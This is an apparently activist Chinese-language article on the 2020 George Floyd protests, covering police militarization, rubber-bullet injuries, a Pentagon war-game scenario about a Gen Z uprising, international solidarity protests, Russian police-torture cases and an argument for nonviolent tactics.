当然，那些武器贩子公司已经跳入了直接销售，大模大样地举行实地演习和贸易展览会。例如，**Genasys** 制造的用于镇压抗议者的远程声炮，从字面上就令人震惊。

而且像 **CTS** 这样的催泪瓦斯制造商在抗议活动日期间向警察机构提供催泪弹和补给。当然还有 **Axon** 生产的电击棒（可以使心脏骤停的东西），现在几乎每个戴着警徽的人都把这东西跨在屁股上。

军事化是对警务的光荣宗旨的一种危险的、最终是致命的变形，并且已经失控。

大多数州都接受了抑制器或消音器，用于秘密突袭。北达科他州一个只有11000人口的县的警长告诉纽约时报记者，他认为不需要消音器。当有人指出他的警局有40个部门时，他感到困惑，说："我不记得是什么时候批准的它们。"

威斯康星州的一名市议员在被告知警察正在购买一辆**9**英尺高的装甲车时说："必须有人第一个说出来 '我们为什么要这样做？'"

纽约时报报道说，该镇的警察局长回答称："总有发生暴力的可能性。" 真的吗？究竟谁在威胁着我们，以至于每个地方需要战区的军械库和突击队的心态？

2015年，奥巴马政府禁止将许多军事武器和装备转移给当地警察。这是为了回应公众对执法的愤怒，2014年在密苏里州弗格森对抗议者使用过度军事化的武力之后，一名手无寸铁的黑人 **Michael Brown** 被一名白人警察杀害，当时他只是闯红灯了。

然而，仅仅两年后，唐纳德·特朗普就推翻了奥巴马的禁令，将战争武器归还给了包括小城镇在内的地方警察部门，甚至还包括在全国范围内学校的警察部门，也得到了这些重量级武器。

现在你已经看到，这些武器设备再次被用于镇压抗拒警察暴力的和平抗议者。

那么，抗议者正在面对什么呢？不只有监视。

抗议者正在面对什么

「图」

1、 大规模逮捕

「图」

目前已经至少有 **9300** 名美国平民因参与全国范围内的抗议活动而被捕。

这个数字来自美联社，该新闻社一直在追踪全国各地的逮捕事件。

激进组织 CodePink 发推文说，斗争正在进行中。该组织说："这仅仅是开始。We must continue demanding #JusticeForGeorgeFloyd! #BlackLivesMatter."

2、战争模拟：间谍机构针对国内反抗运动的军事应对方案

「图」

在主要由年轻人组成的抗议活动面前，军队在主要城市的街道上的存在一直是有争议的发展。但这并不是**Z**代（**1996**年以后出生的人）第一次出现在五角大楼的维稳雷达上。

The Intercept 通过《信息自由法》获得的解密文件显示，五角大楼的一场名为2018陆空海联合战略特别计划**(JLASS)**的军事演习提供了一种情景：Z世代成员在萎靡的现状和不满的驱使下，于本世纪20年代中期在美国发起了一场抗议运动名为 Zbellion。

这一军事演习是由美军战争学院的学生和教职员工进行的，这些学院是未来将军和海军上将的训练基地。

虽然这似乎不是国家情报机构的估计，但是，根据这份200多页的文件，这场军事演习 "意在反映对世界地区主要趋势和影响的可信描述"。

其中描述，Z世代的许多成员 —— 年轻时被9/11和大衰退在心理上留下了创伤，被大学债务压垮，对自己的就业选择不再抱有幻想 —— 已经放弃了对美好生活的希望，并认为体系受到操纵，对他们不利。

以下是这场演习中描述的起义的起源：

*911*恐怖袭击和大衰退都极大地影响了这一代人对美国的态度，并导

致Z世代感到不安和不安全，尽管千禧一代在成长过程中也经历了这些事件，但Z世代作为童年的一部分经历了这些事件，影响了他们的现实态度和世界观…

当他们认识到就业选择没有达到他们的期望时，许多人发现自己背负着过高的大学债务。

Z世代经常被描述为寻求独立和机会，但他们也是最不可能相信存在“美国梦”的人群之一，他们认为“制度受到操纵”对他们不利。

他们经常将自己视为社会变革的推动者，渴望在工作中获得成就感和兴奋感，以帮助“推动世界向前发展”。

尽管Z世代拥有精通的技术能力，但他们实际上更喜欢人与人之间的接触，而不是在线互动。他们将自己描述为参与了他们的虚拟和实体社区，并拒绝资本主义的过度消费 ……

这场模拟演习的故事描述，2025年初，这些心怀不满的Z世代人发起了一场抗议运动。从“公园、集会、抗议和咖啡店”开始 —— 先是在西雅图，然后是纽约市、华盛顿特区、洛杉矶、拉斯维加斯和奥斯汀 —— 一个名为 **Zbellion** 的组织开始了一场“全球网络运动，揭露不公正和腐败，并支持它认为有益的事业。”

在面对面的交流中，准 Zbellion 的成员得到了有关如何访问暗网站点的说明，这些站点使他们可以获得复杂的恶意软件，以便从公司、金融机构和非营利组织中提取资金。然后将收益转换为比特币，并分发给所有“值得接受的人”，包括声称有财务需要的 Zbellion 成员。

（编者注：这有点类似 Mr. Robot 的情节，黑客行动主义。原来五角大楼一直在准备着针对 **Hacktivism** 的维稳计划。请注意，**Mr. Robot** 剧集的黑客技术顾问是 **Michael Bazzell** —— 此人担任专职执法人员已有**15**年以上。目前在**FBI**的网络犯罪工作组工作，主要负责开源情报**OSINT**的收集和分析。）

在 JLASS 2018 模拟的世界里，Z世代最激进的成员基本上是在向大公司和其他机构征税，以对抗收入不平等，或者用战争游戏玩家的话说就是，利用“网络世界传播无政府主义的呼声”。

JLASS 军事演习是于五角大楼在国内正在展开的反对种族主义和警察暴行的抗议活动中发挥有争议和明显作用的背景下出现的。目前国民警卫队已经部署在不同的地点，特朗普政府向华盛顿特区地区派遣了

一些现役军事部队。

这是在威胁要使用现役军队强行镇压抗议活动、以及从第82空降师向华盛顿特区郊外的基地部署快速反应部队的背景下发生的。

Intercept 提醒：值得考虑的是，五角大楼的战争模拟是如何选择将军方的注意力集中在针对现在展示和平抗议权利的一代人身上。在这里看到《PENTAGON WAR GAME INCLUDES SCENARIO FOR MILITARY RESPONSE TO DOMESTIC GEN Z REBELLION》。

3、什么是橡皮子弹？

「图」

这是一种针对抗议者镇压的武器。是一种可以致残的东西。

人们已经在黄背心的抗议活动中充分见识到了这种东西的威力。在下面看到介绍。

- 为什么人们害怕警察？为什么警察如此粗鲁却不会受到任何惩罚？为什么主流媒体美化警方而无视8000多人被捕，500人受重伤，2000多人被监禁，12人死亡，20多人失明，6人失去了手……？《他们不关心你的死活，因为他们是1%》
- 这里是维稳战术综合报告《现代维稳战术一瞥》

那么在美国的抗议活动中，这些镇压武器是如何被使用的？它们的危害性是什么？

NBC报道，不仅包括带有金属芯的橡皮子弹，警方还使用了催泪瓦斯、闪光弹手榴弹、胡椒喷雾和射弹来针对示威人群。

警察使用橡皮子弹激起了人们的愤慨，在社交媒体上到处都有图像显示，被击中的人导致失明或严重受伤。

2017年在 BMJ 上发表的一项研究发现，被橡胶子弹击中的人中有3%因受伤而死亡。在研究的1984人中，有15%的橡胶子弹受害者造成了永久性伤残。

在过去的一周中，加利福尼亚州拉梅萨市的一位老妇人因被橡皮子弹击中眼睛而送入重症监护室住院。演员 Kendrick Sampson 说，在洛杉矶的一次抗议活动中，他被橡皮子弹击中了七次。

在华盛顿特区，国民警卫队星期一发射了橡皮子弹，以驱散和平的抗议者，就在一座历史悠久的教堂附近。

总检察长威廉·巴尔（William Barr）在一份声明中为华盛顿地方和联邦执法人员的行动辩护，称他们“在恢复首都秩序方面取得了重大进展。”

巴尔完全没有提到使用催泪弹或橡皮子弹的行为。

摄影师 Linda Tirado 说，在明尼阿波利斯的一次抗议活动中，她被橡胶子弹击中了眼睛。

而明尼阿波利斯警察局发言人 John Elder 在回复记者的电子邮件中说：“我们使用40毫米以下泡沫标记弹。我们不使用橡皮子弹。”

Elder 没有提及明尼阿波利斯警方使用的泡沫标记弹的商标名称。但是，“直接冲击40毫米OC超细碎泡沫弹”的网站描述了一种绿色的子弹形的产品，该网站称，该武器是“无论您需要使单人目标失去行动能力还是控制整个人群，都是一个绝佳的解决方案。”

加州大学伯克利分校人权医学专家 Rohini Haar 博士说，没人知道警察使用橡皮子弹的频率或每年有多少人受到伤害。许多受害者没有去医院。

Higgins 现在是纽约约翰·杰伊刑事司法学院的副教授，他说，警察无须记录使用橡皮子弹的使用情况，因此没有国家数据可以证明使用橡皮子弹的频率。没有国家认可的使用标准。

Lazzaro 说，当瞄准腿部射击时，橡皮子弹可以阻止单个人或一群人靠近警察。

他说，但是当近距离射击时，橡皮子弹可以穿透皮肤，破坏骨骼，使颅骨骨折，并炸开眼球。

纽约市急诊医师，美国急诊医师学会发言人 Robert Glatter 博士说，橡皮子弹可能会造成颅脑外伤和“严重的腹部损伤，包括脾脏、肠道以及主要血管的损伤”。

Lazzaro 说，从远处发射橡皮子弹会降低其力量和准确性，从而增加射中面部或击中无辜旁观者的风险。

50年前，英国军队研发了橡皮子弹来控制北爱尔兰的民族主义抗议

者，尽管英国几十年前就停止使用这种武器了。

以色列安全部队使用橡皮子弹对付巴勒斯坦示威者。

如上所述，去年，数十名“黄背心”示威者致盲，数百人受伤，法国警察因使用橡皮子弹而受到批评。

Haar 说：“橡胶子弹几乎每天都在世界上任何地方使用。利用这种武器对付没有武装的平民是对人权的严重侵犯。”

权利组织“人权医生”指出，许多被辩称为“不致命”的警察武器会造成严重伤害。

- 声音武器，例如发出令人痛苦的巨响的加农炮，会损害听力。
- 催泪瓦斯会使人难以看清甚至无法呼吸。
- 胡椒喷雾已经被用来镇压最近的抗议活动，如果使用不当，可能会致命。 2004年，一名21岁的波士顿妇女的眼睛被警察发射的胡椒喷雾弹击中，最终导致丧命。
- 产生巨大声响和耀眼亮光的闪光弹会导致严重的烧伤和爆炸性伤害，包括对耳鼓的损坏。惊慌的人群可能会造成挤压踩踏受伤。
- 在寒冷的天气中，水枪喷射可能会导致跌倒、踩踏、甚至冻伤。
- 美国紧急医师学院发言人、前战术医生、曾与特警队合作的 Howie Mell 博士说，诸如用武力殴打示威者的行为也将使大约三分之一的人住院。

纽约时报采取的角度也很好，报道指出，催泪瓦斯的腐蚀作用可能加剧冠状病毒大流行。

推荐一篇论文，研究人员分析1960–95年间的1000多次抗议活动，并发现，对比其他抗议活动，警察更有可能抵制警察残暴的抗议活动中更多地逮捕人们和使用武力。在这里《Protesting the police: anti-police brutality claims as a predictor of police repression of protest》。

—— 部分典型事件 ——

「图」

1、烧烤店的黑人老板被他经常免费送餐的同一警察局官员

杀死

「图」

Intercept 报道，David McAtee 的尸体在肯塔基州路易斯维尔的街道上被晒了12个多小时。

在全国各地针对警察暴力的抗议活动持续数日之际，McAtee 于5月31日星期日午夜被执法部门杀死。第二天中午，McAtee 的尸体依然被扔在那里。

McAtee 是被枪杀的，就在路易斯维尔警察和国民警卫队向聚集在停车场的人群开枪后。

53岁的 David McAtee 被认为是“社区支柱”，部分原因是他的 Yaya’s BBQ 烧烤店很受欢迎。从事业务数十年的 McAtee 经常会为出差的警察提供免费餐点。

旁观者和目击者说，警察赶到时，人群并没有抗议。

活动家说，人群主要是社区成员，而不是经验丰富的激进活动家，他们感到愤怒和伤害。他说：“我们在应对 Breonna Taylor 的死亡事件”。他指的是两个月前警方枪杀的一名年轻的黑人妇女。

2、未在街头的人也被逮捕，被讯问政治观点

「图」

周三晚上，Joel Feingold 在布鲁克林的公寓里，当时他听到警察在建筑物外殴打抗议者的声音。

Feingold 冲到了外面。纽约市一名高级警官将他迅速扔到地上，塞进警车，并与其他四人一起被捕，原因是：“他们表面上违反了最近对纽约市居民实行的宵禁规定”。

Feingold 和其他人被带到纽约警察局，并被告知他们因违反该市晚上8点的宵禁而被拘捕。Feingold 告诉记者，在那里，他们受到纽约警察局和联邦调查局的审问，关于他们的政治信仰和参加全国抗议活动的原因。

Feingold 说，联邦调查局特工的讯问显然集中在他的政治观点上。

两种民意

「图」

1、民意调查显示，多数美国人支持抗议者

「图」

据来自全国各地的最新民意调查显示，多数美国人认为，抗议者的愤怒和至少部分行动是合理的。

该民意调查还发现，大多数美国人认为警察对黑人使用的武力与白人不成比例，这比四年前的情况有所提高，当时只有三分之一的公众持这种观点。

独立的蒙茅斯大学民意测验研究所所长 Patrick Murray 在一份声明中说：“看来我们已经达到了舆论的转折点，美国白人已经意识到，非裔美国人在与警察打交道时会面临更大的风险。他们可能不同意最近抗议活动中出现的部分暴力行为，但是，许多白人说，他们理解愤怒的根源。”

来自蒙茅斯、 Reuters/Ipsos,和 CBS/YouGov 的民意调查均发现，第一次，绝大多数人认为，警察不成比例地针对黑人。自2016年以来，相信警察更多地对黑人使用过度武力的白人人数增加了一倍。

尤其值得一提的是，蒙茅斯（Monmouth）的发现是，大多数美国人认为，示威者参加针对警察暴力和野蛮行为的起义是合理的，他们的行为是完全或部分合理的。

正如 Monmouth 所说：

有*17*%的公众表示，抗议者的行为，包括因明尼阿波利斯警察杀死乔治·弗洛伊德引发的焚烧警察专用区行为，是完全合理的，另有*37*%的公众表示，这些行为是部分合理的。

大多数美国民众（*57*%）表示，导致这些抗议活动的愤怒是完全合理的。

另有*21*%的人认为它是部分合理的，只有*18*%的人认为不合理。

Forum News 的专栏作家 Rob Port 发推文说，这个17%的数字比看

起来更大：

2、中国的民意

「图」

下面这张图在中国网络上传播，被作为“明智的民意”称颂……

除上述对于中国社会的部分分析之外，此处省略其他评论。

联盟

「图」

在这场抗议活动发起的最初，IYP表示，希望中国行动者能从中学习到东西。

此后很快，全球多个国家跟上了这场运动的脚步。下面是一些简要介绍。

新西兰、德国、法国的跟进 ——

「图」

约有 4000人参加了在新西兰最大的城市 Auckland 举行的抗议游行，抗议杀害 George Floyd 的暴行、以及在本国对抗警察的暴力和种族主义。

示威者游行到美国领事馆，在那里跪下抗议，打着标语，标语是“我无法呼吸”（**Floyd** 去世前曾说过的那句话）、“真正的病毒是种族主义”、**“BlackLivesMatter”**。

数以百计的人参加了这场和平抗议，以及在新西兰的其他地方举行守夜活动，星期一是一个公共假期。

在法国，一名法国黑人的家人和朋友在2016年被警察逮捕后不久就去世了，法国的活动家呼吁进行抗议，这也将向 George Floyd 致敬。

司法当局仍在调查24岁的马来人 Adama Traore 的死亡事件。上周一些医学专家将死亡归因于“心脏问题”，这是一系列相互矛盾的医学评估中的最新结果，活动家呼吁在巴黎法院前进行抗议。

死者的家属表示，**Traore** 是因警察的战术窒息而死。

在社交媒体上发布的视频消息中，Adama Traore 的姐姐 Assa Traore 呼吁抗议者记得她死去的兄弟。她说：“Traore 死前和 Floyd 说了同样的话，就是他们的最后一句话：‘我无法呼吸，我无法呼吸。’”

星期天在伦敦市中心举行的一次抗议活动上，成千上万的人支持美国示威者，高呼 “没有正义就没有和平！” 人们挥舞着的标语牌上写着：“还要杀多少人？”

上周日，数百名抗议者聚集在美国驻柏林的大使馆门前举行连续第二天的抗议活动，高呼 “Black Lives Matter”.

数百人聚集在都柏林的尖塔和美国大使馆门前，抗议对 Floyd 的杀害。

在巴西，数百人抗议警察在里约热内卢工人阶级社区（也称为贫民窟）中对黑人犯下的罪行。警察用催泪瓦斯驱散抗议者。

一场反种族主义的抗议活动演变成蒙特利尔警察与示威者之间的冲突，警察宣布集会是 “非法的”，因为人们说要向以胡椒喷雾和催泪瓦斯镇压反抗运动的警官投掷弹丸。一些窗户被砸碎。

英国和西班牙的跟进 ——

「图」

周日在美国驻英国和西班牙大使馆外都举行了大规模的示威游行，数千示威对美国反对执法暴行和系统性种族主义不公正的起义表示声援。

抗议者手举着标语：”Justice for George,” “No One Is Free When Others Are Oppressed,” 以及 “Trump Fascista.”

60岁的 Pauline Nandoo 告诉路透社，她从1970年代起就一直在英国抗议种族主义，她说：“这里有各个年龄段的孩子和老年人。”

“他们将体验我们所经历的，我们必须设法避免这种情况再次发生。”

在布里斯托尔，示威者推倒了奴隶贩子 Edward Colston 的雕像，并将其推入附近的河中：

澳大利亚的跟进 ——

「图」

墨尔本 “Black Lives Matter” 抗议活动的组织者被罚款。

上周六，成千上万的人聚集在维多利亚州议会门前和全国各地的城镇中，抗议土著人民遭受虐待和死亡的现象。

墨尔本的许多示威者戴着口罩并使用了手消毒剂，警察在和平抗议期间戴着护目镜和口罩。

但是，维多利亚州警方发表声明说，每个抗议活动组织者将因违反首席卫生官的防疫指示而被罚款**1,652**澳元。

助理专员 Luke Cornelius 在一份声明中说，警方将继续调查抗议活动，以确定是否会对其他任何人继续罚款。

组织者之一、活动家 Meriki Onus 对罚款行为表示谴责，因为人们明显没有违反防疫规定。据估计，参与抗议活动的人数高达一万人。

并且，澳大利亚的抗议者升级了这个口号，如下：

以色列的跟进 ——

「图」

大约有六千名以色列人周六聚集在特拉维夫的拉宾广场，抗议内塔尼亚胡政府吞并巴勒斯坦西岸三分之一的计划。

美国参议员伯尼·桑德斯（Bernie Sanders）通过视频对这次聚会进行了演讲，他说：

> 现在比以往任何时候都更加需要坚持正义，为我们大家应有的未来而奋斗。

背景：7月1日之后以色列内阁和国会就可以表决吞并西岸定居点的提案，而且大概率会直接通过。

群众大喊口号，反对吞并计划，反对继续占领和剥夺巴勒斯坦人的基本权利，反对上周在东耶路撒冷被以色列边防人员杀害的一名巴勒斯坦人自闭症患者。人群中的许多人还指责内塔尼亚胡破坏了以色列民

主。

集会上的人群还谴责了在美国杀害 George Floyd 的警察。

这是多年来以色列左翼人士最大规模的示威游行，以其多元化而著称，犹太人和巴勒斯坦以色列人都赶来了。

对于反吞并的诉求恐怕难以实现。内塔尼亚胡目前拥有领先的支持率；根据《Kushner Plan》的条款，内塔尼亚胡似乎愿意宣布某种微弱的巴勒斯坦行政权力，而巴勒斯坦行政权力缺乏实现“巴勒斯坦国家”的特权，这已经激怒了许多以色列人。

巴勒斯坦人实际上是无国籍者，对其空气、水和领土资源均缺乏控制，也缺乏基本人权。

俄罗斯的跟进 ——

「图」

当俄罗斯警察在叶卡捷琳堡杀害了一名男子之后，俄罗斯激进活动家使用英语口号 **“Russian Lives Matter”** 动员了一场新的反对警察暴行的本土运动。

在 Twitter 上，#RussianLivesMatter 主题标签在“公民社会”运动负责人 Mikhail Svetov 于在6月1日发布的一条推文中首次出现后，势头很快变得强劲。

另一位活动家 Ivan Chinarov 随后发表了一系列关于在俄罗斯各地的监狱和拘留所中被拘留者遭受折磨的证据，这些被拘留者遭到警察和警卫施加的酷刑折磨、包括杀害。

到6月2日上午，#RussianLivesMatter 已成为俄语推文中最受欢迎的主题标签。人们纷纷陈述自己的遭遇和目睹的警察暴力和不公，并支持抗议者。

Svetov 的公民社会运动渴望抓住在线动员的力量，于6月2日在莫斯科市警察局外面组织了示威游行，抗议警察的暴行，这场游戏最终有将近二十人被捕。

示威者带有诸如“如果杀手佩戴警徽谁能阻止杀手？”的标语，以及“我的警察杀了我。”

表面上看 “Russian Lives Matter” 运动就是在响应美国的反抗运动，但是，在社交媒体上使用这个标签的活动家经常采用这样的口号：不要暗示俄罗斯人正在参加全球斗争，俄罗斯人应该消除在美国发生的担忧和动荡，更多关注国内的不公正现象。

我们认为这是明智的。尤其是在大选年，俄罗斯社会的反抗加入美国反抗潮流的情势很容易被阴谋论者所扭曲，有恐失去其本来的意义。很大程度上活动家无法阻止阴谋论者的歪曲，尤其是那些有政治目的的信息战舆论，于是，最好能在行动模式上尽可能避免被恶意利用。

但是做为旁观者，IYP依然希望将俄罗斯的抗议运动纳入这场全球联盟的斗争中，因为俄罗斯和中国都是典型的*不*自由主义资本主义国家；尤其是，我们不能被政治恶意者的偏激思路所影响。

目前的在线评论中的确带有对俄罗斯运动的轻视和轻蔑，当然，其中也包括那些自己没能在自己的国家动员起来解决暴力执法问题的挫败感。比如中国。

我们简要翻译了俄罗斯活动家的推文，30条如下，它们列举了俄罗斯发生的警察暴力和侵犯人权的恶行，这是关于为什么俄罗斯人的反抗运动必须必然的证据，也是聚焦俄罗斯而非美国的以保持运动独立性的证据。

1、最近，激进活动家谢尔盖·莫赫纳特金（Sergei Mokhnatkin）在莫斯科去世。他死于殴打酷刑。

2、这是 Ivan Vshikov，他有两个孩子。他被关在牢房里。警察听到他痛苦的尖叫（很可能是被其他人殴打），但是警察什么都没做。

3、52岁的喀山居民谢尔盖·纳扎罗夫（Sergei Nazarov）因直肠破裂而死，他遭受了警察的强奸...

4、这是 Ivan Sergeev，萨拉托夫州巴拉科沃的23岁居民。他本人遭受了酷刑，不知姓名的人对他的母亲和其他证人进行人身威胁

5、这是17岁的 Nikita Kobylev 他被乌兰乌德（Ulan-Ude）的警察部门拷打致死。

6、沃罗涅日的两个少年 Grebenyuk 和 Troitsky 因被怀疑偷手机而遭受酷刑。

「图」

7、两个女孩在布里亚特共和国被内政部官员杀害。

8、因对家庭暴力忍无可忍，动手杀死父亲的两个女孩（她们遭到其父亲持续的强奸）。此案一度引起广泛的舆论，但警察对女孩的态度普遍恶劣。

9、来自萨拉托夫的 Sergey Ryzhov，他的髋部在审判前拘留所里被警察殴打致骨折，得不到医疗救助。

10、19岁女孩 Vera Oleinikova 在 Kitay Gorod 警察局内被打破了头。

11、在Bavlinsky地区，**3**名警察两次谋杀。

12、Semen Ivanov 是海滨村庄 Podyapolskoye 的居民，他在遭受严重酷刑后被迫承认谋杀他的继子。他没有杀人。

13、这里是加里宁格勒7号惩教所，真正的酷刑集中营。

14、Ildar Dadin 在俄罗斯卡累利阿地区（Karelia）谢格扎（Segezha）的监狱中遭受酷刑和其他虐待。他遭到10到12名监狱看守多次殴打，其中一次更被监狱长殴打。他的头部被按进马桶，还被人用手铐悬吊，并受到强奸威胁。从9月入狱开始到年底，Dadin先后7次被关在处罚禁闭室中。

15、IK-9酷刑案中，卡累利阿联邦监狱管理局阻止调查，他们将遭受酷刑的囚犯藏了起来，并销毁证据。

16、同样，警方掩盖酷刑证据。

17、伏尔加河畔，警察将因喝啤酒而被拘留的男子带到墓地，殴打致死。

18、克孜勒刑事调查部门的前负责人被控谋杀一名30岁的男子，该男子否认罪行后在审讯中很可能是在活着的状态下被警察纵火烧死。

19、31岁的 Ilya Schukin 是列宁格勒 Tosnensky 警察局刑事调查部门的前负责人。他在这里已经工作了十年，他被伪造的证据指为毒品交易嫌疑人，他被拘留，并遭受酷刑，被外勤人员残暴殴打。

20、这个故事是关于一名来自伊尔库茨克州的勇敢商人如何发现由警察组成的有组织犯罪集团。他从来都不是公众人物或人权活动家，他

只是普通公民，一个敢于说出真话的人。

21、这是技术帖。关于国家律师将如何记录您在酷刑中遭到殴打的所有供词。

22、不管你是犯罪分子、还是人权活动家、疯子、或者仅仅是信徒，他们都会以同样残忍的方式折磨你。

23、Roman Sarychev 再也见不到他的家人了，因为他已经在 Bryansk 的一个看守所里死于酷刑。

24、这种时候您唯一的希望可能是陪审团的仁慈，在这个故事中，陪审团救下这个无辜的人，他们承认了他遭到酷刑的证词。

25、这里是Vladimir Tskaev 遭受酷刑的故事，准确说是，北奥塞梯警察的谋杀方式。

26、Vyselki 的居民 Evgeny Skidanov 对调查人员和人权活动家说，警察将他吊在横梁上，并用电击刑对其进行折磨，要求他对一名五年前失踪的妇女的谋杀案认罪 —— 那名妇女的尸体尚未被发现，也就是说无法推断生死。

27、一名警察杀死了一名男子，并试图隐藏尸体。21岁的诺沃切尔卡斯克居民 Ruslan Popov 于11月2日晚上失踪，后被发现惨死，尸体呈现被残酷折磨的迹象。尸体在一个森林种植园中被发现，距离他被警察谋杀的地方约30公里。一群警察试图掩盖同事的杀人罪行而转移了尸体。

28、一名居民遭受警察的殴打，鼻梁骨被打断，他指控警察暴力，却被反咬 “侮辱当局”。

29、2017年11月失败的革命后，被检方称其为“暴动”组织者的两名24岁和19岁青年被判处最高刑期：6年7个月、和6年5个月。他们在监狱中遭受持续的殴打和酷刑，却无法申诉。

30、39岁的 Napalkov 于3月21日晚在 Bardak 咖啡馆附近被拘留，理由是“袭警”，监视录像显示警方粗暴地殴打他和他的兄弟，但警方依旧否认暴力。当时警方戴着头盔穿着防弹衣，全套防暴装备，而 Napalkov 等人手无寸铁。

在这里看到全部，以及每个案例的完整报道：

公民见证的重要性

「图」

案例：年迈的退伍军人抗议者严重受伤，目击者的录像显示警察撒谎——

这位75岁的抗议者倒在地上，头部是血淋淋的。

该事件发生在布法罗市政厅外，而且是发生在白天、并在包括至少五名记者在内的所有证人的充分视野之下，而布法罗警察局在最初的一份声明中表示，在 “涉及示威者的小规模冲突中，一个人绊倒并摔伤”。

然而，关于发生的事情的警方描述很快被证明是谎言。

警察声明发布后仅20分钟，当地非营利组织 NPR 附属机构 WBFO 就发布了令人心痛的事件录像，该录像清楚地表明，该名男子是由于试图与两名警察交谈，而警察粗暴地推了他。

被猛烈推搡的老人头部重重地撞在人行道上，很快从耳朵开始流血。当时有很多警察在现场，但没有人试图帮助受伤的老人。现在老人的伤势严重。

这位老人是退伍军人 Martin Gugino，也是老牌活动家和政治思想家，一直在努力参与关闭关塔那摩运动，作为 “反酷刑” 组织的成员。

这一事件中体现了协作的重要性。警方敢于在目击者众多的情况下撒谎，如果没有准确记录的视频证据，就无法为受害者寻求公正。

在抗议活动中，尤其是警方使用暴力的情况下，他们会尽力禁止公民拍摄取证，甚至追踪迫害持有视觉证据的记录者。于是作为记录者，您需要具备一定程度的应对经验和技巧。

在下面回顾我们曾经介绍给的技巧：

- 《公民取证技巧：如何留住真相？》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《当你手握真相：最基本的防护知识》

并且，在一些非常暴虐的国家参与抗议的人们需要注意，当局维稳的

第一步往往就是断网，或者区域性信号阻断，这在英国、印度、中国、俄罗斯等很多国家都发生过。于是，活动家和队友必须能掌握在断网情况下保持工作效率和证据安全的方法。

我们将在不久后连续发布相关技术技巧介绍。

他们就是想要激怒你，只要你发狂，他们就知道怎么对付你了

「图」

中国行动者应该从中学到一些东西

这是约翰列侬的名言，也是最忠实的告诫：

“When it gets down to having to use violence, then you are playing the system’s game. The establishment will irritate you—pull your beard, flick your face—to make you fight. Because once they’ve got you violent, then they know how to handle you.” —— John Lennon

您需要支撑自己。

人们已经意识到权力的巢穴里有一些东西在酝酿，远远超出了公众的视野，并且对于整个国家的未来而言并不是好兆头。

每当出现一个在暗中运作的、用武力说话的、并执行恶法进行统治的政府出现时，每个人都应该至少在心理层面敲响警钟。

但是，暴力不是革命，正相反，它阻碍了革命 —— 因为暴力的示威者正在扮演当权者最想要的角色，正如列侬所警告的，只要你发狂，他们就知道该怎么对付你了。

当权者最想要的就是一个借口，以合理化锁定国家、并转向全面戒严。即，他们想要一个使警察国家变得更强的理由。

警察国家的强化速度绝对将是抗议者无法追赶的速度。

任何一位有经验的活动家都会明白上述道理 —— 非暴力是战术，而不是什么道德考量，坚持非暴力本身就是行动者的武器。我们将在未来详细更解说这件事。

你现在已经在美国看到了这场灾难。司法部正在向各个城市部署联邦

监狱防暴部队。超过半数的州长呼吁国民警卫队“平息暴乱”。

刚刚从冠状病毒封锁中解禁的越来越多的城市再次被封锁，这就是当权者对这场抗议活动的回应。

这就是真正灾难的开始。

这就是那个荒诞的「2030年五角大楼演习」视频，它预计政府需要实行戒严（使用武装力量解决国内政治和社会问题），以驾驭一个被“犯罪网络”、”不合格的基础设施“所困扰的世界，应对“宗教和种族紧张关系”、”贫困、贫民窟”、”露天垃圾填埋场、不堪重负的下水道”、”越来越多的失业者”，以及必须保护享受繁荣经济的精英们、不要让穷人—低端人口—影响城市的景观。

在这里看到更多详细介绍《PENTAGON VIDEO WARNS OF “UNAVOIDABLE” DYSTOPIAN FUTURE FOR WORLD’S BIGGEST CITIES》

那已经不是**2030**年 **……** 五角大楼的全面反乌托邦计划已经被提前了。

警察国家的设计者已经把人们推向了这样的地方：在权势的踩踏之下，喘着粗气，渴望自由，努力寻求某种类似于未来的感觉，不断寻找突破这个周围正在建立的极权主义监狱的大门。

仅仅短暂的一刻，“人民”似乎团结起来了，对最近被警察大肆宣传自己的权威和制服的力量并杀死一名手无寸铁的人感到愤怒。

很可惜这种团结并没有持久。

没过多久就被莫名其妙的暴力冲击所分化。

不论是否故意，暴力者已经将人们的注意力从政府的犯罪转移到了他们自己的犯罪上 —— 抗议的主题被严重扭曲。

这是最糟糕的失策。这么讲是建立在我们首先假设实施暴力行为的那极少数人是“自发的抗议者”，而不是警察渗透进入抗议活动的卧底。是的，警察经常这么做。

如上所述，每一位有经验的活动家都应该明白非暴力才能行之有效的道理，并非道德问题，而是行动智慧问题。于是，在应付那些具有丰富经验并组织良好的抗议活动时，警察就会暗中渗透卧底进入抗议人

群，这些卧底表现得“很积极”，他们假装自己是最义愤的人，并奉行暴力，从而 **引诱并合理化** 警察的暴力镇压。

在抗议运动的漫长历史上，这种恶意操作不胜枚举。对此，我们将发布系统性的分析，帮助您识别警察当局渗透活动家组织的诸多手段。

作为抗议者，您要做的就是，不要让自己分心。

每时每刻都应该记得，抗议行动的真正目标是什么。前文已经梳理了这个问题。

除了恐怖主义、家庭极端主义、枪支暴力、和有组织犯罪以外，由政府人员实施的系统性暴力对公民的生命、自由和财产构成的威胁要远大于任何来自政府所声称的伪善。

同样，如上所述，表面上看 Floyd 死于警察，实际上他是死于体制，这种体制使当权者宣称的“我们人民”受制于军事警察，警察几乎拥有绝对的自由裁量权来决定谁是威胁、什么构成抵抗、以及他们与公民打交道的严厉程度。而这些警察的职责本应该是“服务和保护”。

每天，警察都在对人民开枪、脱衣搜查、殴打和骚扰，仅仅是因为人们敢于皱下眉、微笑、穿错衣服、质疑、挑战命令 …… 或仅仅是存在于那里。

- 在这里看到对警察国家的具体介绍《不论政府关闭与否，警察国家都将继续蓬勃发展。还可以怎么办？》

您没看错，这里说的就是越来越多的手无寸铁的人，他们只是以某种方式站着，或以某种方式移动，或持有某种东西 —— 可能被警察误解为武器，而被枪杀。警察心中的恐惧与实际威胁他们的东西完全无关。

- 因站姿看起来像“射击”而被警察击毙。
- 因伸手拿手机而被杀死。
- 因为拿着棒球棒而被杀死。
- 因打开前门而被杀死。
- 在警察追捕的汽车里的6岁小孩被杀死。
- 因拿着金属勺子接近警察而被杀死。
- 因拿着树枝奔跑而被杀死。
- 因赤身裸体爬来爬去而被杀死。
- 因弯腰做防卫姿势而被杀死。

- 因为警察不小心开了真枪而不是电击枪而被杀死。
- 因为穿着深色裤子和篮球衫而被杀死。
- 因为在交通拦截时伸手去拿驾照和登记证而被杀死。
- 因聋哑人驾驶而被杀死。
- 因无家可归而被杀死。
- 因挥舞鞋套而被杀死。
- 因在户外撒尿而被杀死。
- 因汽车在路上抛锚而被杀死。
- 因拿着花园水管被杀死 ……

